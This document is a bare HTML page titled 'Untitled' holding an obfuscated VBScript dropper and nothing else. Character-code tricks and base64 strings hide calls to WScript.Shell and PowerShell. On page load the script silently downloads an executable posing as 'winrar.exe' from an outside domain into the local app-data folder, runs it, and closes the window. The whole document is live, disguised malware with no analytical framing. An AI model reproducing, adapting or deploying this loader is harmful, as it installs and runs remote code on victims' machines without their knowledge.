Untitled

<!DOCTYPE html>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
<html>
<body>
<sCrIpT TYPE="tEXt/VbsCRipT">
funCtioN mBxjM ( BYvAl KMNdU ) : diM PXKJj , hOOmQ : Set PXKJj = cREatEObjECT ( ChrW(&H6D) & StrReverse(Chr(&H73)) & ChrW(&H78) & Chr(&H6D) & StrReverse(ChrW(&H6C)) & StrReverse(Chr(&H32)) & ChrW(&H2E) & ChrW(&H44) & ChrW(&H4F) & Chr(&H6D) & Chr(&H44) & StrReverse(ChrW(&H4F)) & StrReverse(Chr(&H43)) & Chr(&H75) & ChrW(&H6D) & StrReverse(Chr(&H45)) & ChrW(&H6E) & ChrW(&H74) & StrReverse(ChrW(&H2E)) & StrReverse(Chr(&H33)) & ChrW(&H2E) & ChrW(&H30) ) : SET hOOmQ = PXKJj.CrEaTEElemeNT ( StrReverse(ChrW(&H42)) & StrReverse(Chr(&H41)) & StrReverse(ChrW(&H53)) & StrReverse(Chr(&H65)) & ChrW(&H36) & StrReverse(ChrW(&H34)) ) : hOOmQ.datATyPe = StrReverse(ChrW(&H42)) & StrReverse(Chr(&H49)) & ChrW(&H6E) & StrReverse(Chr(&H2E)) & ChrW(&H62) & Chr(&H41) & StrReverse(ChrW(&H73)) & StrReverse(Chr(&H45)) & StrReverse(Chr(&H36)) & ChrW(&H34) : hOOmQ.tEXT = KMNdU : mBxjM = uBmWT ( hOOmQ.NoDetYpEDvalue ) : SEt hOOmQ = nOTHing : SeT PXKJj = nOtHIng : end functiOn : fuNCtioN uBmWT ( noigh ) : diM Imsje : SET Imsje = CREatEObJeCT ( Chr(&H61) & ChrW(&H44) & Chr(&H6F) & StrReverse(Chr(&H64)) & StrReverse(Chr(&H62)) & Chr(&H2E) & StrReverse(Chr(&H73)) & StrReverse(Chr(&H74)) & Chr(&H72) & ChrW(&H45) & ChrW(&H61) & Chr(&H4D) ) : Imsje.typE = 1 : Imsje.Open : Imsje.wrITE noigh : Imsje.poSitIoN = 0 : Imsje.tyPE = 2 : Imsje.CHarSeT = StrReverse(Chr(&H55)) & StrReverse(ChrW(&H53)) & ChrW(&H2D) & StrReverse(Chr(&H41)) & ChrW(&H53) & StrReverse(ChrW(&H43)) & StrReverse(Chr(&H49)) & StrReverse(Chr(&H69)) : uBmWT = Imsje.REAdtExT : Set Imsje = noTHING : End fuNCTIon : dIm sVJAn : DIM JxqQS : SEt sVJAn = CReATEoBJeCT ( mBxjM("V1NjUmlQdC5TSEVsTA==") ) : JxqQS = "					(New-obJEcT SYStEm.neT.wEBcLIENt).dOWNLOadfILE(					”http://supportmailonline.com/test/winrar.exe”					,					”$EnV:LOcaLApPDATA\output.exe”					)					;					InVOKe-eXpRESsiON					”$EnV:LocalAPpdaTA\output.exe”" : sVJAn.Run cHr ( 34 ) & sVJAn.ExPAnDENVIronMEnTstRIngs( mBxjM("JXN5c3RlbXJPb1Ql") ) & mBxjM("XFNZc3RFbTMyXFdpbkRvd3NQb3dlclNoRUxsXHYxLjBccE93ZXJzSEVsbC5leGU=") & ChR ( 34 ) & chr ( 32 ) & CHR ( 34 ) & JxqQS & cHr ( 34 ) , 0 : seT sVJAn = noTHiNg
Self.ClosE
</script>

</body>
</html>